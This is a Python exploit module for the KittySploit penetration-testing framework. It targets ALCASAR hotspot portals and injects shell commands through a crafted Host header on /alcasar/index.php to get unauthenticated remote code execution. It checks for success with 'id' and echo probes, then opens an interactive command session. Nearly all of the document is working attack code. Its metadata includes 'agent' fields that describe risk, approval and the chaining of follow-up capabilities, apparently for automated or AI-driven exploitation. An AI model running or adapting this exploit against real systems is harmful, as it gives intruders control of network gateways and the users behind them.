ALCASAR Host Header RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""ALCASAR Host header command injection RCE — execute session."""

from __future__ import annotations

import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'ALCASAR Host Header RCE',
        'description': (
            'Exploits ALCASAR command injection via a crafted Host header on '
            '/alcasar/index.php. Opens an interactive execute session.'
        ),
        'author': ['KittySploit Team'],
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': [
            'https://www.exploit-db.com/exploits/34866',
        ],
        'tags': ['alcasar', 'hotspot', 'rce', 'cmdi', 'host-header', 'unauth'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals', 'rce'],
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': 'Host header injection'},
                    {'capability': 'shell', 'from_detail': 'execute session'},
                ],
                'suggested_followups': ['scanner/http/alcasar_host_rce_detect'],
            },
        },
    }

    base_path = OptString('/alcasar', 'ALCASAR base path', False, advanced=True)

    def _bases(self) -> list[str]:
        base = str(self.base_path or '').strip().rstrip('/')
        if base:
            return [base]
        return ['/alcasar', '']

    def execute(self, cmd: str) -> str:
        token = self.random_text(6)
        host_inj = f'mailto:{token}@ks.org;{cmd};#'
        bases = [getattr(self, '_hit_base', None)] if getattr(self, '_hit_base', None) is not None else self._bases()
        for base in bases:
            if base is None:
                continue
            path = f'{base}/index.php'
            r = self.http_request(
                method='GET',
                path=path,
                headers={'Host': host_inj},
                allow_redirects=False,
            )
            if r:
                self._hit_base = base
                return r.text or ''
        return ''

    def check(self):
        body = self.execute('id')
        if re.search(r'uid=\d+', body or ''):
            return {
                'vulnerable': True,
                'reason': 'ALCASAR Host-header RCE confirmed via id',
                'confidence': 'high',
            }
        return {
            'vulnerable': False,
            'reason': 'Host header injection did not return command output',
            'confidence': 'medium',
        }

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()